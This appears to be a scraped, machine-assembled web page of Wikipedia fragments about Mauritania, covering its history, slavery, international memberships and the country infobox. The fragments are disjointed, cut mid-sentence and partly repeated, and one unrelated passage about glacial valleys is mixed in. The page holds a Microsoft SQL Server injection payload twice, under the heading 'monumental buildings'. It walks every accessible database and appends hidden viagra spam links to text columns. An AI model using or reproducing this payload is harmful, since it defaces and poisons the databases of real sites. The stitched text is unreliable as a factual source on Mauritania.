Mauritania

What is Mauritania known for?


scale projects

from the Gulf (Persian Gulf) are involved in large-scale projects in Morocco, including the giant Tanger Med port on the Mediterranean. Morocco remains the preferred destination of foreign investors in the Maghreb region (Algeria, Libya, Mauritania, Morocco and Tunisia), with a total of $13.6 billion between 2001 and 2007, which puts it largely on the top of the list. thumb 250px right Casablanca Twin Center (File:Casablanca Twin Center.jpg). While the Moroccan


ancient connection

, but a 2000 DNA study of Yemeni people suggested there might be some ancient connection between the peoples. Commons:Category:Mauritania WikiPedia:Mauritania Dmoz:Regional Africa Mauritania


world service

;id 635:mauritaniamadeslaveryillegallastmonth&catid 62:governance-a-aprm-opinion&Itemid 159 Mauritania made slavery illegal last month ". ''South African Institute of International Affairs.'' 6 September 2007. The Abolition season on BBC World Service http: www.state.gov documents organization 210740.pdf A 2012 CNN report, "Slavery's Last

diasporas living in Europe. Morocco's Berbers Battle to Keep From Losing Their Culture. San Francisco Chronicle. March 16, 2001. Berbers: The Proud Raiders. BBC World Service. File:Lusius Quietus on Column of Trajan.jpg thumb right Mauritania

Arabic ; French is used as a lingua franca. The World Passport is a 45 page document issued by the World Service Authority, a non-profit organization, Romingerlegal.com , 99-1334 - U.S. v. THOMAS - 07 07 2000 citing Article 13, Section 2, of the Universal Declaration of Human Rights. World Passports have reportedly been accepted on a ''de facto'', case-by-case basis by over 174 countries and, at one time or another, on an explicit, legal or ''de jure'' basis by Burkina Faso, Ecuador, Mauritania, Tanzania, Togo and Zambia. The latest edition of the World Passport, issued January 2007, is an MRD (machine readable document) with an alphanumeric code bar enabling computer input plus an embedded "ghost" photo for security, printing overcovered with a plastic film. The passport is in 7 languages: English (English language), French (French language), Spanish (Spanish language), Russian (Russian language), Arabic, Chinese (Mandarin Chinese) and Esperanto. Two covers are available: "World Passport," and "World Government Passport" (for registered World Citizens), ("passport" is in 7 languages on both covers). Duration is 8 years, 5 years or 3 years. Other documents issued by WSA are a World Birth Certificate (Art. 1, UDHR), a World Political Asylum Card (Art. 14, UDHR), a World Marriage Certificate, (Art. 16, UDHR) and a World Identity Card, (Art 21,3, UDHR). Each passport is numbered and each page has the World Citizen logo in the background. There are two pages for affiliation with companies, organizations, and firms. There are nineteen visa pages in the passport. In the back cover there are spaces for personal information such as a person’s home address. http: www.worldservice.org docpass.html thumb left 150px right Map of Arab League (File:Arab League (orthographic projection).PNG) The Arab League is a regional organization of Arab states in Southwest Asia, and North (North Africa) and Northeast Africa (Horn of Africa). It was formed in Cairo on March 22, 1945 with six members: Egypt, Iraq, Transjordan (renamed Jordan after 1946), Lebanon, Saudi Arabia, and Syria. Yemen joined as a member on May 5, 1945. The Arab League currently has 22 members (Member states of the Arab League), which also include, Algeria, Bahrain, Comoros, Djibouti, Kuwait, Libya, Mauritania, Morocco, Oman, Palestine, Qatar, Somalia, Sudan, Tunisia and UAE. It has also been proposed to reform the Arab League into an Arab Union. the Arab League currently is the most important organization in the region (Middle East). At the end of the 19th century, French colonial authorities began to worry about the growing power of the Mouride brotherhood and its potential to resist French colonialism. Bamba, who had converted various kings and their followers, could probably have raised an army against the French had he wanted. Fearful of his power, the French sentenced Bamba to exile in Gabon (1895–1902) and later Mauritania (1903–1907). However, Bamba's exile fueled legends about his miraculous ability to survive torture, deprivation, and attempted executions, and thousands more flocked to his organization. For example, on the ship to Gabon, forbidden from praying, Bamba is said to have broken his leg-irons, lept overboard into the ocean, and prayed on a prayer rug that miraculously appeared on the surface of the water. In addition, when the French put him in a furnace, he is said to have simply sat down and had tea with the Prophet Muhammad. In a den of hungry lions, it is said the lions slept beside him. thumb right 300px Senegambia c. 1707. Waalo marked as ''Re. D'Oualle'' in the upper left. (Image:Guillaume Delisle Senegambia 1707.jpg) The '''Kingdom of Waalo''' ('''Oualo''') was a kingdom on the lower Senegal River in West Africa, in what are now Senegal and Mauritania. It included parts of the valley proper and areas north and south, extending to the Atlantic Ocean. To the north were Moorish Emirates; to the south was the Kingdom of Cayor; to the east was Jolof (Diolof). The royal capital of Waalo was first Diourbel (Guribel) on the north bank of the Senegal River (in modern Mauritania), then Ndiangué on the south bank of the river, then the capital was moved to Nder on the west shore of the Lac de Guiers. Waalo was subject to constant raids for slaves not only from the Moors but also in the internecine wars. In October 2006, the Andalusian Parliament asked the three parliamentary groups that form the majority to support an amendment that would ease the way for morisco descendants to gain Spanish citizenship. The proposal was originally made by IULV-CA, the Andalusian branch of the United Left (United Left (Spain)). ''Propuesta de IU sobre derecho preferente de moriscos a la nacionalidad'' Commons:Category:Mauritania WikiPedia:Mauritania Dmoz:Regional Africa Mauritania


championing

;Relations with Other African States". In ''Mauritania: A Country Study'' (Robert E. Handloff, editor). Library of Congress Federal Research Division (June 1988). ''This article incorporates text from this source, which is in the public domain.'' The growing split between blacks and Maures in Mauritania has, however, affected ties with Senegal, which sees itself as championing the rights of Mauritania's black minority. ref name


monumental buildings));declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use ['+@w+'];declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%9 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''acheter viagra avec ordonnance ''+char(60)+''a href="http:''+char(47)+char(47)+''acheterviagraenfrance.com''+char(47)+''avec''+char(47)+''ordonnance"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''acheter viagra avec ordonnance'''' when 1 then ''''acheter viagra avec ordonnance'''' else ''''acheter viagra avec ordonnance'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' acheter viagra avec ordonnance''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

calls from abroad, by increasing pressure to Arabize (Arabization) many aspects of Mauritanian life, such as law and language. A schism (schism (religion)) developed between Moors who consider Mauritania to be an Arab country and others who seek a dominant role for the non-Moorish peoples. Various models for maintaining the country's cultural diversity being suggested, but none successfully implemented. This ethnic discord was evident during inter-communal violence that broke out

with Algeria. Its position on the Western Sahara conflict is, since the 1980s, one of strict neutrality. Ordinance 83.127, enacted 5 June 1983, started the process of nationalization of all land not clearly the property of a documented owner, thus abolishing the traditional system of land tenure. Potential nationalization was based on the concept of "dead land", Ordonnance 9 i.e., property which has not been developed or on which obvious development cannot be seen

and ruler. The Polisario Front claims to represent the aspirations of the Western Saharan inhabitants for independence. Algeria claims none of the territory for itself but maintains that Sahrawis should determine the territory’s future status. *1958 – Chad, the Republic of the Congo, and Gabon become autonomous republics within the French Community (French colonial empire). *1960 – Mauritania becomes independent of France. *1964 &


title large'

located in glacier ice-margin regions; the cross-sections of the valleys are comparable to those confirmed to have formed glacially, the valleys end in outwash fans similar to tunnel valleys, and the infill is post-glacial typical of that observed for tunnel valleys.


community participation

republic, while Polisario continues to claim the Moroccan held city of El Aaiún, as the capital of a would-be independent Western Sahara. Day-to-day business, however, is conducted in the Tindouf (Tindouf Province) refugee camps in Algeria, which house most of the Sahrawi exile community. Participation in the IWC is not limited to states involved in whaling. Membership in the IWC has doubled since 2001 with an average of almost 6 states per year joining the IWC from 2002 to 2008. As of April 2011 there were 89 members. Current (2010) members are: Antigua and Barbuda, Argentina, Australia, Austria, Belgium, Belize, Benin, Brazil, Bulgaria, Cambodia, Cameroon, Chile, People's Republic of China, Republic of the Congo, Costa Rica, Côte d'Ivoire, Croatia, Cyprus, Czech Republic, Denmark (which also acts on the behalf of the Faroe Islands and Greenland), Dominica, Dominican Republic, Ecuador, Eritrea, Estonia, Finland, France, Gabon, The Gambia, Germany, Greece, Grenada, Guatemala, Republic of Guinea, Guinea-Bissau, Hungary, Iceland, India, Ireland (Republic of Ireland), Israel, Italy, Japan, Kenya, Republic of Korea, Kiribati, Laos, Lithuania, Luxembourg, Mali, Republic of the Marshall Islands, Mauritania, Mexico, Monaco, Mongolia, Morocco, Nauru, Netherlands, New Zealand, Nicaragua, Norway, Oman, Palau, Panama, Peru, Poland, Portugal, Romania, Russian Federation, Saint Kitts and Nevis, Saint Lucia, Saint Vincent and the Grenadines, San Marino, Senegal, Slovak Republic (Slovakia), Slovenia, Solomon Islands, South Africa, Spain, Suriname, Sweden, Switzerland, Tanzania, Togo, Tuvalu, United Kingdom, United States, Uruguay. - Commons:Category:Mauritania WikiPedia:Mauritania Dmoz:Regional Africa Mauritania


including published

accusations of fraud and manipulation which had accompanied previous elections, the government introduced new safeguards, including published voter lists and a hard-to-falsify voter identification card. Reversing a trend of election boycotts, 15 opposition parties nominated candidates for more than 3,000 municipal posts and for the 81-member National Assembly. Four opposition parties won a combined 11 seats in the National Assembly and took 15% of the municipal posts. The ruling Democratic


monumental buildings'));declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use ['+@w+'];declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%9 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''acheter viagra avec ordonnance ''+char(60)+''a href="http:''+char(47)+char(47)+''acheterviagraenfrance.com''+char(47)+''avec''+char(47)+''ordonnance"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''acheter viagra avec ordonnance'''' when 1 then ''''acheter viagra avec ordonnance'''' else ''''acheter viagra avec ordonnance'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' acheter viagra avec ordonnance''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

calls from abroad, by increasing pressure to Arabize (Arabization) many aspects of Mauritanian life, such as law and language. A schism (schism (religion)) developed between Moors who consider Mauritania to be an Arab country and others who seek a dominant role for the non-Moorish peoples. Various models for maintaining the country's cultural diversity being suggested, but none successfully implemented. This ethnic discord was evident during inter-communal violence that broke out

with Algeria. Its position on the Western Sahara conflict is, since the 1980s, one of strict neutrality. Ordinance 83.127, enacted 5 June 1983, started the process of nationalization of all land not clearly the property of a documented owner, thus abolishing the traditional system of land tenure. Potential nationalization was based on the concept of "dead land", Ordonnance 9 i.e., property which has not been developed or on which obvious development cannot be seen

and ruler. The Polisario Front claims to represent the aspirations of the Western Saharan inhabitants for independence. Algeria claims none of the territory for itself but maintains that Sahrawis should determine the territory’s future status. *1958 – Chad, the Republic of the Congo, and Gabon become autonomous republics within the French Community (French colonial empire). *1960 – Mauritania becomes independent of France. *1964 &


international scientific

book_result&ct result&resnum 1#PPA260,M1 "''Africa in the Nineteenth Century Until the 1880s''" : Unesco. International Scientific Committee for the Drafting of a General Africa In certain African countries, the CPD is not officially required, but is often used to facilitate temporary importation of a vehicle. Countries where the CPD may be used include: Benin, Botswana, Burkina Faso, Cameroon, Central African Republic, Chad, Comoros, Côte d'Ivoire, Congo (Republic of the Congo), Egypt, Gabon, Ghana, Guinea-Bissau, Kenya, Lesotho, Libya, Madagascar, Malawi, Mali, Mauritania, Namibia, Niger, Senegal, Somalia, South Africa, Swaziland, Tanzania, Togo, Uganda, and Zimbabwe. *'''Delete''' Better than 90% probability this is a hoax. I can't find any reference to any name or event mentioned. Wyss (User:Wyss) 01:23, 9 Dec 2004 (UTC) *'''Delete''' - fictional, non-historic events. (Quick history lesson, BTW - they held the Gold Coast in modern Ghana and an island off, I think, Mauritania in that period; nowhere else, really, until they'd become Germany in the late c19th. The really surprising colonial power was Courland, just up the Baltic coast from them, though...) Shimgray (User:Shimgray) 01:42, 9 Dec 2004 (UTC) *Delete: The contributor tossed a welter of Prussian-themed articles all at the same time, and they looked fishy. He or she also wrote Otto von Ziechtzel, although in that article it was "March to the Sea" and not "March through the Sea." Shimgray, is that one bunk too? Geogre (User:Geogre) 04:43, 9 Dec 2004 (UTC) '''Oualata''' or '''Walata''' ( Commons:Category:Mauritania WikiPedia:Mauritania Dmoz:Regional Africa Mauritania

Mauritania

common_name Mauritania image_flag Flag of Mauritania.svg image_coat Coat of arms of Mauritania.svg image_map Location Mauritania AU Africa.svg map_caption symbol_type Seal national_motto national_anthem نشيد وطني موريتاني File:National Anthem of Mauritania by US Navy Band.ogg official_languages Arabic (Arabic language) a national_languages languages_type Other languages languages French (French language) Zenaga Berber (Zenaga language) official_religion Sunni Islam demonym Mauritanian (Demographics of Mauritania) capital Nouakchott religion Islam (Islam in Mauritania) latd 18 latm 09 latNS N longd 15 longm 58 longEW W largest_city capital government_type Semi-presidential (Semi-presidential system) republic b leader_title1 President (List of heads of state of Mauritania) leader_name1 Mohamed Ould Abdel Aziz leader_title2 Prime Minister (List of heads of government of Mauritania) leader_name2 Yahya Ould Hademine legislature Parliament (Parliament of Mauritania) upper_house Senate (Senate (Mauritania)) lower_house National Assembly (National Assembly (Mauritania)) sovereignty_type Independence established_event1 from France (French colonial empire) established_date1 28 November 1960 established_event2 Current Constitution of Mauritania established_date2 12 July 1991 area_rank 29th area_magnitude 1 E12 area_km2 1,030,700 area_sq_mi 397,954 percent_water 0.03 population_estimate 3,359,185 population_estimate_year 2012 population_estimate_rank population_census 3,537,368 population_census_year 2013 population_density_km2 3.2 population_density_sq_mi 8.2 population_density_rank 221st GDP_PPP_year 2013 GDP_PPP $8.286 billion GDP_PPP_rank 154th GDP_PPP_per_capita $2,230 GDP_PPP_per_capita_rank 160th GDP_nominal $4.547 billion GDP_nominal_year 2013 GDP_nominal_rank 154th GDP_nominal_per_capita $1,224 GDP_nominal_per_capita_rank 149th Gini_year 2008 Gini_change Gini 40.5 Gini_ref Gini_rank HDI_year 2013 HDI_change decrease HDI 0.487 HDI_ref HDI_rank 161st currency Ouguiya (Mauritanian ouguiya) currency_code MRO country_code MR time_zone utc_offset +0 time_zone_DST not observed utc_offset_DST +0 drives_on right calling_code +222 cctld .mr footnote_a According to Article 6 of the Constitution: "The national languages are Arabic, Pulaar (Pulaar language), Soninke (Soninke language), and Wolof (Wolof language); the official language is Arabic." footnote_b Not recognized internationally (see main article).

'''Mauritania''' ; Soninke (Soninke language): ''Murutaane''; Pulaar (Pulaar language): ''Moritani''), officially the '''Islamic Republic of Mauritania''', is a country in the Maghreb region of western North Africa. Facts On File, Incorporated, Encyclopedia of the Peoples of Africa and the Middle East (2009), p. 448, books.google.com books?ISBN 143812676X-"The Islamic Republic of Mauritania, situated in western North Africa..." David Seddon, ''A Political and Economic Dictionary of the Middle East'' (2004), "We have, by contrast, chosen to include the predominantly Arabic-speaking countries of western North Africa (the Maghreb), including Mauritania (which is a member of the Arab Maghreb Union)..." Mohamed Branine, ''Managing Across Cultures: Concepts, Policies and Practices'' (2011), p. 437, "The Magrebian countries or the Arab countries of western North Africa (Algeria, Libya, Mauritania, Morocco and Tunisia)..." It is the eleventh largest country in Africa, and is bordered by the Atlantic Ocean to the west, by Moroccan-controlled Western Sahara in the north, by Algeria in the northeast, by Mali in the east and southeast, and by Senegal in the southwest.

The country derives its name from the ancient Berber Kingdom of Mauretania (Mauretania), which existed from the 3rd century BC to the 7th century AD, in the far north of modern-day Morocco. Approximately 90% of Mauritania's land is within the Sahara Desert and consequently the population is concentrated in the south, where precipitation is slightly higher than the rest of the country. The capital and largest city of Mauritania is Nouakchott, located on the Atlantic coast, which is home to around one-third of the country's 3.5 million people. The government of Mauritania was overthrown on 6 August 2008, in a military coup d'état (2008 Mauritanian coup d'état) led by General Mohamed Ould Abdel Aziz. On 16 April 2009, General Aziz resigned from the military to run for president in the 19 July elections, which he won.

About 20% of Mauritanians live on less than US$1.25 per day. Higher estimates suggest 10% to 20% of the population (340,000 to 680,000 people) is enslaved. Additional human rights concerns in Mauritania include female genital mutilation and child labour.

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